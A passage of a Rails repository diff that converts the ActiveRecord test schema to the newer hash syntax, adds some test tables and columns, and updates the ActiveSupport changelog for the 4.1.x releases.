+  add_index :companies, :name, name: 'company_name_index', using: :btree
 
-  create_table :vegetables, :force => true do |t|
+  create_table :vegetables, force: true do |t|
     t.string :name
     t.integer :seller_id
     t.string :custom_type
   end
 
-  create_table :computers, :force => true do |t|
-    t.integer :developer, :null => false
-    t.integer :extendedWarranty, :null => false
+  create_table :computers, force: true do |t|
+    t.string :system
+    t.integer :developer, null: false
+    t.integer :extendedWarranty, null: false
   end
 
-  create_table :contracts, :force => true do |t|
+  create_table :contracts, force: true do |t|
     t.integer :developer_id
     t.integer :company_id
   end
 
-  create_table :customers, :force => true do |t|
+  create_table :customers, force: true do |t|
     t.string  :name
-    t.integer :balance, :default => 0
+    t.integer :balance, default: 0
     t.string  :address_street
     t.string  :address_city
     t.string  :address_country
     t.string  :gps_location
   end
 
-  create_table :dashboards, :force => true, :id => false do |t|
+  create_table :dashboards, force: true, id: false do |t|
     t.string :dashboard_id
     t.string :name
   end
 
-  create_table :developers, :force => true do |t|
+  create_table :developers, force: true do |t|
     t.string   :name
-    t.integer  :salary, :default => 70000
+    t.integer  :salary, default: 70000
     t.datetime :created_at
     t.datetime :updated_at
     t.datetime :created_on
     t.datetime :updated_on
   end
 
-  create_table :developers_projects, :force => true, :id => false do |t|
-    t.integer :developer_id, :null => false
-    t.integer :project_id, :null => false
+  create_table :developers_projects, force: true, id: false do |t|
+    t.integer :developer_id, null: false
+    t.integer :project_id, null: false
     t.date    :joined_on
-    t.integer :access_level, :default => 1
+    t.integer :access_level, default: 1
   end
 
   create_table :dog_lovers, force: true do |t|
@@ -239,28 +265,29 @@ ActiveRecord::Schema.define do
     t.integer :dogs_count, default: 0
   end
 
-  create_table :dogs, :force => true do |t|
+  create_table :dogs, force: true do |t|
     t.integer :trainer_id
     t.integer :breeder_id
     t.integer :dog_lover_id
+    t.string  :alias
   end
 
-  create_table :edges, :force => true, :id => false do |t|
-    t.column :source_id, :integer, :null => false
-    t.column :sink_id,   :integer, :null => false
+  create_table :edges, force: true, id: false do |t|
+    t.column :source_id, :integer, null: false
+    t.column :sink_id,   :integer, null: false
   end
-  add_index :edges, [:source_id, :sink_id], :unique => true, :name => 'unique_edge_index'
+  add_index :edges, [:source_id, :sink_id], unique: true, name: 'unique_edge_index'
 
-  create_table :engines, :force => true do |t|
+  create_table :engines, force: true do |t|
     t.integer :car_id
   end
 
-  create_table :entrants, :force => true do |t|
-    t.string  :name, :null => false
-    t.integer :course_id, :null => false
+  create_table :entrants, force: true do |t|
+    t.string  :name, null: false
+    t.integer :course_id, null: false
   end
 
-  create_table :essays, :force => true do |t|
+  create_table :essays, force: true do |t|
     t.string :name
     t.string :writer_id
     t.string :writer_type
@@ -268,153 +295,156 @@ ActiveRecord::Schema.define do
     t.string :author_id
   end
 
-  create_table :events, :force => true do |t|
-    t.string :title, :limit => 5
+  create_table :events, force: true do |t|
+    t.string :title, limit: 5
   end
 
-  create_table :eyes, :force => true do |t|
+  create_table :eyes, force: true do |t|
   end
 
-  create_table :funny_jokes, :force => true do |t|
+  create_table :funny_jokes, force: true do |t|
     t.string :name
   end
 
-  create_table :cold_jokes, :force => true do |t|
+  create_table :cold_jokes, force: true do |t|
     t.string :name
   end
 
-  create_table :friendships, :force => true do |t|
+  create_table :friendships, force: true do |t|
     t.integer :friend_id
     t.integer :follower_id
   end
 
-  create_table :goofy_string_id, :force => true, :id => false do |t|
-    t.string :id, :null => false
+  create_table :goofy_string_id, force: true, id: false do |t|
+    t.string :id, null: false
     t.string :info
   end
 
-  create_table :having, :force => true do |t|
+  create_table :having, force: true do |t|
     t.string :where
   end
 
-  create_table :guids, :force => true do |t|
+  create_table :guids, force: true do |t|
     t.column :key, :string
   end
 
-  create_table :inept_wizards, :force => true do |t|
-    t.column :name, :string, :null => false
-    t.column :city, :string, :null => false
+  create_table :inept_wizards, force: true do |t|
+    t.column :name, :string, null: false
+    t.column :city, :string, null: false
     t.column :type, :string
   end
 
-  create_table :integer_limits, :force => true do |t|
+  create_table :integer_limits, force: true do |t|
     t.integer :"c_int_without_limit"
     (1..8).each do |i|
-      t.integer :"c_int_#{i}", :limit => i
+      t.integer :"c_int_#{i}", limit: i
     end
   end
 
-  create_table :invoices, :force => true do |t|
+  create_table :invoices, force: true do |t|
     t.integer :balance
     t.datetime :updated_at
   end
 
-  create_table :iris, :force => true do |t|
+  create_table :iris, force: true do |t|
     t.references :eye
     t.string     :color
   end
 
-  create_table :items, :force => true do |t|
+  create_table :items, force: true do |t|
     t.column :name, :string
   end
 
-  create_table :jobs, :force => true do |t|
+  create_table :jobs, force: true do |t|
     t.integer :ideal_reference_id
   end
 
-  create_table :keyboards, :force => true, :id  => false do |t|
+  create_table :keyboards, force: true, id: false do |t|
     t.primary_key :key_number
     t.string      :name
   end
 
-  create_table :legacy_things, :force => true do |t|
+  create_table :legacy_things, force: true do |t|
     t.integer :tps_report_number
-    t.integer :version, :null => false, :default => 0
+    t.integer :version, null: false, default: 0
   end
 
-  create_table :lessons, :force => true do |t|
+  create_table :lessons, force: true do |t|
     t.string :name
   end
 
-  create_table :lessons_students, :id => false, :force => true do |t|
+  create_table :lessons_students, id: false, force: true do |t|
     t.references :lesson
     t.references :student
   end
 
-  create_table :lint_models, :force => true
+  create_table :lint_models, force: true
 
-  create_table :line_items, :force => true do |t|
+  create_table :line_items, force: true do |t|
     t.integer :invoice_id
     t.integer :amount
   end
 
-  create_table :lock_without_defaults, :force => true do |t|
+  create_table :lock_without_defaults, force: true do |t|
     t.column :lock_version, :integer
   end
 
-  create_table :lock_without_defaults_cust, :force => true do |t|
+  create_table :lock_without_defaults_cust, force: true do |t|
     t.column :custom_lock_version, :integer
   end
 
-  create_table :mateys, :id => false, :force => true do |t|
+  create_table :magazines, force: true do |t|
+  end
+
+  create_table :mateys, id: false, force: true do |t|
     t.column :pirate_id, :integer
     t.column :target_id, :integer
     t.column :weight, :integer
   end
 
-  create_table :members, :force => true do |t|
+  create_table :members, force: true do |t|
     t.string :name
     t.integer :member_type_id
   end
 
-  create_table :member_details, :force => true do |t|
+  create_table :member_details, force: true do |t|
     t.integer :member_id
     t.integer :organization_id
     t.string :extra_data
   end
 
-  create_table :member_friends, :force => true, :id => false do |t|
+  create_table :member_friends, force: true, id: false do |t|
     t.integer :member_id
     t.integer :friend_id
   end
 
-  create_table :memberships, :force => true do |t|
+  create_table :memberships, force: true do |t|
     t.datetime :joined_on
     t.integer :club_id, :member_id
-    t.boolean :favourite, :default => false
+    t.boolean :favourite, default: false
     t.string :type
   end
 
-  create_table :member_types, :force => true do |t|
+  create_table :member_types, force: true do |t|
     t.string :name
   end
 
-  create_table :minivans, :force => true, :id => false do |t|
+  create_table :minivans, force: true, id: false do |t|
     t.string :minivan_id
     t.string :name
     t.string :speedometer_id
     t.string :color
   end
 
-  create_table :minimalistics, :force => true do |t|
+  create_table :minimalistics, force: true do |t|
   end
 
-  create_table :mixed_case_monkeys, :force => true, :id => false do |t|
+  create_table :mixed_case_monkeys, force: true, id: false do |t|
     t.primary_key :monkeyID
     t.integer     :fleaCount
   end
 
-  create_table :mixins, :force => true do |t|
+  create_table :mixins, force: true do |t|
     t.integer  :parent_id
     t.integer  :pos
     t.datetime :created_at
@@ -425,52 +455,52 @@ ActiveRecord::Schema.define do
     t.string   :type
   end
 
-  create_table :movies, :force => true, :id => false do |t|
+  create_table :movies, force: true, id: false do |t|
     t.primary_key :movieid
     t.string      :name
   end
 
-  create_table :numeric_data, :force => true do |t|
-    t.decimal :bank_balance, :precision => 10, :scale => 2
-    t.decimal :big_bank_balance, :precision => 15, :scale => 2
-    t.decimal :world_population, :precision => 10, :scale => 0
-    t.decimal :my_house_population, :precision => 2, :scale => 0
-    t.decimal :decimal_number_with_default, :precision => 3, :scale => 2, :default => 2.78
+  create_table :numeric_data, force: true do |t|
+    t.decimal :bank_balance, precision: 10, scale: 2
+    t.decimal :big_bank_balance, precision: 15, scale: 2
+    t.decimal :world_population, precision: 10, scale: 0
+    t.decimal :my_house_population, precision: 2, scale: 0
+    t.decimal :decimal_number_with_default, precision: 3, scale: 2, default: 2.78
     t.float   :temperature
     # Oracle/SQLServer supports precision up to 38
-    if current_adapter?(:OracleAdapter,:SQLServerAdapter)
-      t.decimal :atoms_in_universe, :precision => 38, :scale => 0
+    if current_adapter?(:OracleAdapter, :SQLServerAdapter)
+      t.decimal :atoms_in_universe, precision: 38, scale: 0
     else
-      t.decimal :atoms_in_universe, :precision => 55, :scale => 0
+      t.decimal :atoms_in_universe, precision: 55, scale: 0
     end
   end
 
-  create_table :orders, :force => true do |t|
+  create_table :orders, force: true do |t|
     t.string  :name
     t.integer :billing_customer_id
     t.integer :shipping_customer_id
   end
 
-  create_table :organizations, :force => true do |t|
+  create_table :organizations, force: true do |t|
     t.string :name
   end
 
-  create_table :owners, :primary_key => :owner_id ,:force => true do |t|
+  create_table :owners, primary_key: :owner_id, force: true do |t|
     t.string :name
     t.column :updated_at, :datetime
     t.column :happy_at,   :datetime
     t.string :essay_id
   end
 
-  create_table :paint_colors, :force => true do |t|
+  create_table :paint_colors, force: true do |t|
     t.integer :non_poly_one_id
   end
 
-  create_table :paint_textures, :force => true do |t|
+  create_table :paint_textures, force: true do |t|
     t.integer :non_poly_two_id
   end
 
-  create_table :parrots, :force => true do |t|
+  create_table :parrots, force: true do |t|
     t.column :name, :string
     t.column :color, :string
     t.column :parrot_sti_class, :string
@@ -481,43 +511,44 @@ ActiveRecord::Schema.define do
     t.column :updated_on, :datetime
   end
 
-  create_table :parrots_pirates, :id => false, :force => true do |t|
+  create_table :parrots_pirates, id: false, force: true do |t|
     t.column :parrot_id, :integer
     t.column :pirate_id, :integer
   end
 
-  create_table :parrots_treasures, :id => false, :force => true do |t|
+  create_table :parrots_treasures, id: false, force: true do |t|
     t.column :parrot_id, :integer
     t.column :treasure_id, :integer
   end
 
-  create_table :people, :force => true do |t|
-    t.string     :first_name, :null => false
+  create_table :people, force: true do |t|
+    t.string     :first_name, null: false
     t.references :primary_contact
-    t.string     :gender, :limit => 1
+    t.string     :gender, limit: 1
     t.references :number1_fan
-    t.integer    :lock_version, :null => false, :default => 0
+    t.integer    :lock_version, null: false, default: 0
     t.string     :comments
-    t.integer    :followers_count, :default => 0
-    t.integer    :friends_too_count, :default => 0
+    t.integer    :followers_count, default: 0
+    t.integer    :friends_too_count, default: 0
     t.references :best_friend
     t.references :best_friend_of
     t.integer    :insures, null: false, default: 0
+    t.timestamp :born_at
     t.timestamps
   end
 
-  create_table :peoples_treasures, :id => false, :force => true do |t|
+  create_table :peoples_treasures, id: false, force: true do |t|
     t.column :rich_person_id, :integer
     t.column :treasure_id, :integer
   end
 
-  create_table :pets, :primary_key => :pet_id ,:force => true do |t|
+  create_table :pets, primary_key: :pet_id, force: true do |t|
     t.string :name
     t.integer :owner_id, :integer
     t.timestamps
   end
 
-  create_table :pirates, :force => true do |t|
+  create_table :pirates, force: true do |t|
     t.column :catchphrase, :string
     t.column :parrot_id, :integer
     t.integer :non_validated_parrot_id
@@ -525,74 +556,79 @@ ActiveRecord::Schema.define do
     t.column :updated_on, :datetime
   end
 
-  create_table :posts, :force => true do |t|
+  create_table :posts, force: true do |t|
     t.integer :author_id
-    t.string  :title, :null => false
+    t.string  :title, null: false
     # use VARCHAR2(4000) instead of CLOB datatype as CLOB data type has many limitations in
     # Oracle SELECT WHERE clause which causes many unit test failures
     if current_adapter?(:OracleAdapter)
-      t.string  :body, :null => false, :limit => 4000
+      t.string  :body, null: false, limit: 4000
     else
-      t.text    :body, :null => false
+      t.text    :body, null: false
     end
     t.string  :type
-    t.integer :comments_count, :default => 0
-    t.integer :taggings_count, :default => 0
-    t.integer :taggings_with_delete_all_count, :default => 0
-    t.integer :taggings_with_destroy_count, :default => 0
-    t.integer :tags_count, :default => 0
-    t.integer :tags_with_destroy_count, :default => 0
-    t.integer :tags_with_nullify_count, :default => 0
+    t.integer :comments_count, default: 0
+    t.integer :taggings_count, default: 0
+    t.integer :taggings_with_delete_all_count, default: 0
+    t.integer :taggings_with_destroy_count, default: 0
+    t.integer :tags_count, default: 0
+    t.integer :tags_with_destroy_count, default: 0
+    t.integer :tags_with_nullify_count, default: 0
   end
 
-  create_table :price_estimates, :force => true do |t|
+  create_table :price_estimates, force: true do |t|
     t.string :estimate_of_type
     t.integer :estimate_of_id
     t.integer :price
   end
 
-  create_table :products, :force => true do |t|
+  create_table :products, force: true do |t|
     t.references :collection
+    t.references :type
     t.string     :name
   end
 
-  create_table :projects, :force => true do |t|
+  create_table :product_types, force: true do |t|
+    t.string :name
+  end
+
+  create_table :projects, force: true do |t|
     t.string :name
     t.string :type
   end
 
-  create_table :randomly_named_table, :force => true do |t|
+  create_table :randomly_named_table, force: true do |t|
     t.string  :some_attribute
     t.integer :another_attribute
   end
 
-  create_table :ratings, :force => true do |t|
+  create_table :ratings, force: true do |t|
     t.integer :comment_id
     t.integer :value
   end
 
-  create_table :readers, :force => true do |t|
-    t.integer :post_id, :null => false
-    t.integer :person_id, :null => false
-    t.boolean :skimmer, :default => false
+  create_table :readers, force: true do |t|
+    t.integer :post_id, null: false
+    t.integer :person_id, null: false
+    t.boolean :skimmer, default: false
     t.integer :first_post_id
   end
 
-  create_table :references, :force => true do |t|
+  create_table :references, force: true do |t|
     t.integer :person_id
     t.integer :job_id
     t.boolean :favourite
-    t.integer :lock_version, :default => 0
+    t.integer :lock_version, default: 0
   end
 
-  create_table :shape_expressions, :force => true do |t|
+  create_table :shape_expressions, force: true do |t|
     t.string  :paint_type
     t.integer :paint_id
     t.string  :shape_type
     t.integer :shape_id
   end
 
-  create_table :ships, :force => true do |t|
+  create_table :ships, force: true do |t|
     t.string :name
     t.integer :pirate_id
     t.integer :update_only_pirate_id
@@ -602,51 +638,53 @@ ActiveRecord::Schema.define do
     t.datetime :updated_on
   end
 
-  create_table :ship_parts, :force => true do |t|
+  create_table :ship_parts, force: true do |t|
     t.string :name
     t.integer :ship_id
   end
 
-  create_table :speedometers, :force => true, :id => false do |t|
+  create_table :speedometers, force: true, id: false do |t|
     t.string :speedometer_id
     t.string :name
     t.string :dashboard_id
   end
 
-  create_table :sponsors, :force => true do |t|
+  create_table :sponsors, force: true do |t|
     t.integer :club_id
     t.integer :sponsorable_id
     t.string :sponsorable_type
   end
 
-  create_table :string_key_objects, :id => false, :primary_key => :id, :force => true do |t|
+  create_table :string_key_objects, id: false, primary_key: :id, force: true do |t|
     t.string     :id
     t.string     :name
-    t.integer    :lock_version, :null => false, :default => 0
+    t.integer    :lock_version, null: false, default: 0
   end
 
-  create_table :students, :force => true do |t|
+  create_table :students, force: true do |t|
     t.string :name
+    t.boolean :active
+    t.integer :college_id
   end
 
-  create_table :subscribers, :force => true, :id => false do |t|
-    t.string :nick, :null => false
+  create_table :subscribers, force: true, id: false do |t|
+    t.string :nick, null: false
     t.string :name
-    t.column :books_count, :integer, :null => false, :default => 0
+    t.column :books_count, :integer, null: false, default: 0
   end
-  add_index :subscribers, :nick, :unique => true
+  add_index :subscribers, :nick, unique: true
 
-  create_table :subscriptions, :force => true do |t|
+  create_table :subscriptions, force: true do |t|
     t.string :subscriber_id
     t.integer :book_id
   end
 
-  create_table :tags, :force => true do |t|
+  create_table :tags, force: true do |t|
     t.column :name, :string
-    t.column :taggings_count, :integer, :default => 0
+    t.column :taggings_count, :integer, default: 0
   end
 
-  create_table :taggings, :force => true do |t|
+  create_table :taggings, force: true do |t|
     t.column :tag_id, :integer
     t.column :super_tag_id, :integer
     t.column :taggable_type, :string
@@ -654,12 +692,12 @@ ActiveRecord::Schema.define do
     t.string :comment
   end
 
-  create_table :tasks, :force => true do |t|
+  create_table :tasks, force: true do |t|
     t.datetime :starting
     t.datetime :ending
   end
 
-  create_table :topics, :force => true do |t|
+  create_table :topics, force: true do |t|
     t.string   :title
     t.string   :author_name
     t.string   :author_email_address
@@ -669,14 +707,15 @@ ActiveRecord::Schema.define do
     # use VARCHAR2(4000) instead of CLOB datatype as CLOB data type has many limitations in
     # Oracle SELECT WHERE clause which causes many unit test failures
     if current_adapter?(:OracleAdapter)
-      t.string   :content, :limit => 4000
-      t.string   :important, :limit => 4000
+      t.string   :content, limit: 4000
+      t.string   :important, limit: 4000
     else
       t.text     :content
       t.text     :important
     end
-    t.boolean  :approved, :default => true
-    t.integer  :replies_count, :default => 0
+    t.boolean  :approved, default: true
+    t.integer  :replies_count, default: 0
+    t.integer  :unique_replies_count, default: 0
     t.integer  :parent_id
     t.string   :parent_title
     t.string   :type
@@ -684,54 +723,54 @@ ActiveRecord::Schema.define do
     t.timestamps
   end
 
-  create_table :toys, :primary_key => :toy_id ,:force => true do |t|
+  create_table :toys, primary_key: :toy_id, force: true do |t|
     t.string :name
     t.integer :pet_id, :integer
     t.timestamps
   end
 
-  create_table :traffic_lights, :force => true do |t|
+  create_table :traffic_lights, force: true do |t|
     t.string   :location
     t.string   :state
-    t.text     :long_state, :null => false
+    t.text     :long_state, null: false
     t.datetime :created_at
     t.datetime :updated_at
   end
 
-  create_table :treasures, :force => true do |t|
+  create_table :treasures, force: true do |t|
     t.column :name, :string
     t.column :type, :string
     t.column :looter_id, :integer
     t.column :looter_type, :string
   end
 
-  create_table :tyres, :force => true do |t|
+  create_table :tyres, force: true do |t|
     t.integer :car_id
   end
 
-  create_table :variants, :force => true do |t|
+  create_table :variants, force: true do |t|
     t.references :product
     t.string     :name
   end
 
-  create_table :vertices, :force => true do |t|
+  create_table :vertices, force: true do |t|
     t.column :label, :string
   end
 
-  create_table 'warehouse-things', :force => true do |t|
+  create_table 'warehouse-things', force: true do |t|
     t.integer :value
   end
 
   [:circles, :squares, :triangles, :non_poly_ones, :non_poly_twos].each do |t|
-    create_table(t, :force => true) { }
+    create_table(t, force: true) { }
   end
 
   # NOTE - the following 4 tables are used by models that have :inverse_of options on the associations
-  create_table :men, :force => true do |t|
+  create_table :men, force: true do |t|
     t.string  :name
   end
 
-  create_table :faces, :force => true do |t|
+  create_table :faces, force: true do |t|
     t.string  :description
     t.integer :man_id
     t.integer :polymorphic_man_id
@@ -740,7 +779,7 @@ ActiveRecord::Schema.define do
     t.string  :horrible_polymorphic_man_type
   end
 
-  create_table :interests, :force => true do |t|
+  create_table :interests, force: true do |t|
     t.string :topic
     t.integer :man_id
     t.integer :polymorphic_man_id
@@ -748,39 +787,39 @@ ActiveRecord::Schema.define do
     t.integer :zine_id
   end
 
-  create_table :wheels, :force => true do |t|
-    t.references :wheelable, :polymorphic => true
+  create_table :wheels, force: true do |t|
+    t.references :wheelable, polymorphic: true
   end
 
-  create_table :zines, :force => true do |t|
+  create_table :zines, force: true do |t|
     t.string :title
   end
 
-  create_table :countries, :force => true, :id => false, :primary_key => 'country_id' do |t|
+  create_table :countries, force: true, id: false, primary_key: 'country_id' do |t|
     t.string :country_id
     t.string :name
   end
-  create_table :treaties, :force => true, :id => false, :primary_key => 'treaty_id' do |t|
+  create_table :treaties, force: true, id: false, primary_key: 'treaty_id' do |t|
     t.string :treaty_id
     t.string :name
   end
-  create_table :countries_treaties, :force => true, :id => false do |t|
-    t.string :country_id, :null => false
-    t.string :treaty_id, :null => false
+  create_table :countries_treaties, force: true, id: false do |t|
+    t.string :country_id, null: false
+    t.string :treaty_id, null: false
   end
 
-  create_table :liquid, :force => true do |t|
+  create_table :liquid, force: true do |t|
     t.string :name
   end
-  create_table :molecules, :force => true do |t|
+  create_table :molecules, force: true do |t|
     t.integer :liquid_id
     t.string :name
   end
-  create_table :electrons, :force => true do |t|
+  create_table :electrons, force: true do |t|
     t.integer :molecule_id
     t.string :name
   end
-  create_table :weirds, :force => true do |t|
+  create_table :weirds, force: true do |t|
     t.string 'a$b'
     t.string 'なまえ'
     t.string 'from'
@@ -801,14 +840,16 @@ ActiveRecord::Schema.define do
     t.integer :department_id
   end
 
+  create_table :records, force: true do |t|
+  end
 
   except 'SQLite' do
     # fk_test_has_fk should be before fk_test_has_pk
-    create_table :fk_test_has_fk, :force => true do |t|
-      t.integer :fk_id, :null => false
+    create_table :fk_test_has_fk, force: true do |t|
+      t.integer :fk_id, null: false
     end
 
-    create_table :fk_test_has_pk, :force => true do |t|
+    create_table :fk_test_has_pk, force: true do |t|
     end
 
     execute "ALTER TABLE fk_test_has_fk ADD CONSTRAINT fk_name FOREIGN KEY (#{quote_column_name 'fk_id'}) REFERENCES #{quote_table_name 'fk_test_has_pk'} (#{quote_column_name 'id'})"
@@ -817,11 +858,11 @@ ActiveRecord::Schema.define do
   end
 end
 
-Course.connection.create_table :courses, :force => true do |t|
-  t.column :name, :string, :null => false
+Course.connection.create_table :courses, force: true do |t|
+  t.column :name, :string, null: false
   t.column :college_id, :integer
 end
 
-College.connection.create_table :colleges, :force => true do |t|
-  t.column :name, :string, :null => false
+College.connection.create_table :colleges, force: true do |t|
+  t.column :name, :string, null: false
 end
diff --git a/activerecord/test/schema/sqlite_specific_schema.rb b/activerecord/test/schema/sqlite_specific_schema.rb
index e9ddeb3..b7aff4f 100644
--- a/activerecord/test/schema/sqlite_specific_schema.rb
+++ b/activerecord/test/schema/sqlite_specific_schema.rb
@@ -1,9 +1,6 @@
 ActiveRecord::Schema.define do
-  # For sqlite 3.1.0+, make a table with an autoincrement column
-  if supports_autoincrement?
-    create_table :table_with_autoincrement, :force => true do |t|
-      t.column :name, :string
-    end
+  create_table :table_with_autoincrement, :force => true do |t|
+    t.column :name, :string
   end
 
   execute "DROP TABLE fk_test_has_fk" rescue nil
diff --git a/activerecord/test/support/connection.rb b/activerecord/test/support/connection.rb
index 196b3a9..d11fd9c 100644
--- a/activerecord/test/support/connection.rb
+++ b/activerecord/test/support/connection.rb
@@ -15,7 +15,7 @@ module ARTest
     puts "Using #{connection_name}"
     ActiveRecord::Base.logger = ActiveSupport::Logger.new("debug.log", 0, 100 * 1024 * 1024)
     ActiveRecord::Base.configurations = connection_config
-    ActiveRecord::Base.establish_connection 'arunit'
-    ARUnit2Model.establish_connection 'arunit2'
+    ActiveRecord::Base.establish_connection :arunit
+    ARUnit2Model.establish_connection :arunit2
   end
 end
diff --git a/activesupport/CHANGELOG.md b/activesupport/CHANGELOG.md
index f0a0459..b9fe524 100644
--- a/activesupport/CHANGELOG.md
+++ b/activesupport/CHANGELOG.md
@@ -1,576 +1,730 @@
-## Rails 4.0.1 (November 01, 2013) ##
+## Rails 4.1.4 (July 2, 2014) ##
 
-*   Disable the ability to iterate over Range of AS::TimeWithZone
-    due to significant performance issues.
+*   No changes.
 
-    *Bogdan Gusiev*
 
-*   Fix `ActiveSupport::Cache::FileStore#cleanup` to no longer rely on missing `each_key` method.
+## Rails 4.1.3 (July 2, 2014) ##
 
-    *Murray Steele*
+*   No changes.
 
-*   Ensure that autoloaded constants in all-caps nestings are marked as
-    autoloaded.
 
-    *Simon Coffey*
+## Rails 4.1.2 (June 26, 2014) ##
 
-*   Adds a new deprecation behaviour that raises an exception. Throwing this
-    line into `config/environments/development.rb`:
+*   `Hash#deep_transform_keys` and `Hash#deep_transform_keys!` now transform hashes
+    in nested arrays.  This change also applies to `Hash#deep_stringify_keys`,
+    `Hash#deep_stringify_keys!`, `Hash#deep_symbolize_keys` and
+    `Hash#deep_symbolize_keys!`.
 
-        ActiveSupport::Deprecation.behavior = :raise
+    *OZAWA Sakuro*
 
-    will cause the application to raise an `ActiveSupport::DeprecationException`
-    on deprecations.
+*   Fixed `ActiveSupport::Subscriber` so that no duplicate subscriber is created
+    when a subscriber method is redefined.
 
-    Use this for aggressive deprecation cleanups.
+    *Dennis Schön*
 
-    *Xavier Noria*
+*   Fixed an issue when using
+    `ActiveSupport::NumberHelper::NumberToDelimitedConverter` to
+    convert a value that is an `ActiveSupport::SafeBuffer` introduced
+    in 2da9d67.
 
-*   Improve `ActiveSupport::Cache::MemoryStore` cache size calculation.
-    The memory used by a key/entry pair is calculated via `#cached_size`:
+    For more info see #15064.
 
-        def cached_size(key, entry)
-          key.to_s.bytesize + entry.size + PER_ENTRY_OVERHEAD
-        end
+    *Mark J. Titorenko*
 
-    The value of `PER_ENTRY_OVERHEAD` is 240 bytes based on an [empirical
-    estimation](https://gist.github.com/ssimeonov/6047200) for 64-bit MRI on
-    1.9.3 and 2.0.
+*   Fixed backward compatibility isues introduced in 326e652.
 
-    Fixes #11512.
+    Empty Hash or Array should not present in serialization result.
 
-    *Simeon Simeonov*
+        {a: []}.to_query # => ""
+        {a: {}}.to_query # => ""
 
-*   Only raise `Module::DelegationError` if it's the source of the exception.
+    For more info see #14948.
 
-    Fixes #10559.
+    *Bogdan Gusiev*
+*   Fixed `ActiveSupport::Duration#eql?` so that `1.second.eql?(1.second)` is
+    true.
 
-*   Add `DateTime#usec` and `DateTime#nsec` so that `ActiveSupport::TimeWithZone` keeps
-    sub-second resolution when wrapping a `DateTime` value.
+    This fixes the current situation of:
 
-    Fixes #10855.
+        1.second.eql?(1.second) #=> false
 
-    *Andrew White*
+    `eql?` also requires that the other object is an `ActiveSupport::Duration`.
+    This requirement makes `ActiveSupport::Duration`'s behavior consistent with
+    the behavior of Ruby's numeric types:
 
-*   Make `Time.at_with_coercion` retain the second fraction and return local time.
+        1.eql?(1.0) #=> false
+        1.0.eql?(1) #=> false
 
-    Fixes #11350.
+        1.second.eql?(1) #=> false (was true)
+        1.eql?(1.second) #=> false
 
-    *Neer Friedman*, *Andrew White*
+        { 1 => "foo", 1.0 => "bar" }
+        #=> { 1 => "foo", 1.0 => "bar" }
 
-*   Fix return value from `BacktraceCleaner#noise` when the cleaner is configured
-    with multiple silencers.
+        { 1 => "foo", 1.second => "bar" }
+        # now => { 1 => "foo", 1.second => "bar" }
+        # was => { 1 => "bar" }
 
-    Fixes #11030.
+    And though the behavior of these hasn't changed, for reference:
 
-    *Mark J. Titorenko*
+        1 == 1.0 #=> true
+        1.0 == 1 #=> true
 
-*   Fix `ActiveSupport::Dependencies::Loadable#load_dependency` calling
-    `#blame_file!` on Exceptions that do not have the Blamable mixin
+        1 == 1.second #=> true
+        1.second == 1 #=> true
 
-    *Andrew Kreiling*
+    *Emily Dobervich*
 
+*   `ActiveSupport::SafeBuffer#prepend` acts like `String#prepend` and modifies
+    instance in-place, returning self. `ActiveSupport::SafeBuffer#prepend!` is
+    deprecated.
 
-## Rails 4.0.0 (June 25, 2013) ##
+    *Pavel Pravosud*
 
-*   Override `Time.at` to support the passing of Time-like values when called with a single argument.
+*   `HashWithIndifferentAccess` better respects `#to_hash` on objects it's
+    given. In particular `#update`, `#merge`, `#replace` all accept objects
+    which respond to `#to_hash`, even if those objects are not Hashes directly.
 
-    *Andrew White*
+    Currently, if `HashWithIndifferentAccess.new` is given a non-Hash (even if
+    it responds to `#to_hash`) that object is treated as the default value,
+    rather than the initial keys and value. Changing that could break existing
+    code, so it will be updated in the next minor version.
+
+    *Peter Jaros*
+
+
+## Rails 4.1.1 (May 6, 2014) ##
+
+*   No changes.
+
+
+## Rails 4.1.0 (April 8, 2014) ##
 
-*   Allow Date to be compared with Time (like it was possible to compare Time with Date).
+*   Added `Object#presence_in` to simplify value whitelisting.
+
+    Before:
+
+        params[:bucket_type].in?(%w( project calendar )) ? params[:bucket_type] : nil
+
+    After:
+
+        params[:bucket_type].presence_in %w( project calendar )
 
     *DHH*
 
-*   Deprecate multiple parameters support of `Object#in?`.
+*   Time helpers honor the application time zone when passed a date.
 
-    *Brian Morearty + Carlos Antonio da Silva*
+    *Xavier Noria*
 
-*   An `ActiveSupport::Subscriber` class has been extracted from
-    `ActiveSupport::LogSubscriber`, allowing you to use the event attachment
-    API for other kinds of subscribers.
+*   Fix the implementation of Multibyte::Unicode.tidy_bytes for JRuby
 
-    *Daniel Schierbeck*
+    The existing implementation caused JRuby to raise the error:
+    `Encoding::ConverterNotFoundError: code converter not found (UTF-8 to UTF8-MAC)`
 
-*   `Class#class_attribute` accepts an `instance_predicate` option which
-    defaults to `true`. If set to `false` the predicate method will not
-    be defined.
+    *Justin Coyne*
 
-    *Agis Anastasopoulos*
+*   Fix `to_param` behavior when there are nested empty hashes.
 
-*   `fast_xs` support has been removed.  Use `String#encode(xml: :attr)`.
+    Before:
 
-*   `ActiveSupport::Notifications::Instrumenter#instrument` should
-    yield its payload.
+        params = {c: 3, d: {}}.to_param # => "&c=3"
 
-    *stopdropandrew*
+    After:
 
-*   `ActiveSupport::TimeWithZone` raises `NoMethodError` in proper context.
-    Fixes #9772.
+        params = {c: 3, d: {}}.to_param # => "c=3&d="
 
-    *Yves Senn*
+    Fixes #13892.
 
-*   Fix deletion of empty directories in `ActiveSupport::Cache::FileStore`.
+    *Hincu Petru*
 
-    *Charles Jones*
+*   Deprecate custom `BigDecimal` serialization.
 
-*   Improve singularizing a singular for multiple cases.
-    Fixes #2608 #1825 #2395.
+    Deprecate the custom `BigDecimal` serialization that is included when requiring
+    `active_support/all`. Let Ruby handle YAML serialization for `BigDecimal`
+    instead.
 
-    Example:
+    Fixes #12467.
+
+    *David Celis*
+
+*   Fix parsing bugs in `XmlMini`
+
+    Symbols or boolean parsing would raise an error for non string values (e.g.
+    integers). Decimal parsing would fail due to a missing requirement.
 
-        # Before
-        'address'.singularize # => 'addres'
+    *Birkir A. Barkarson*
 
-        # After
-        'address'.singularize # => 'address'
+*   Maintain the current timezone when calling `wrap_with_time_zone`
 
-    *Mark McSpadden*
+    Extend the solution from the fix for #12163 to the general case where `Time`
+    methods are wrapped with a time zone.
 
-*   Prevent `DateTime#change` from truncating the second fraction, when seconds
-    do not need to be changed.
+    Fixes #12596.
 
-    *Chris Baynes*
+    *Andrew White*
+
+*   Remove behavior that automatically remove the Date/Time stubs, added by `travel`
+    and `travel_to` methods, after each test case.
+
+    Now users have to use the `travel_back` or the block version of `travel` and
+    `travel_to` methods to clean the stubs.
+
+    *Rafael Mendonça França*
+
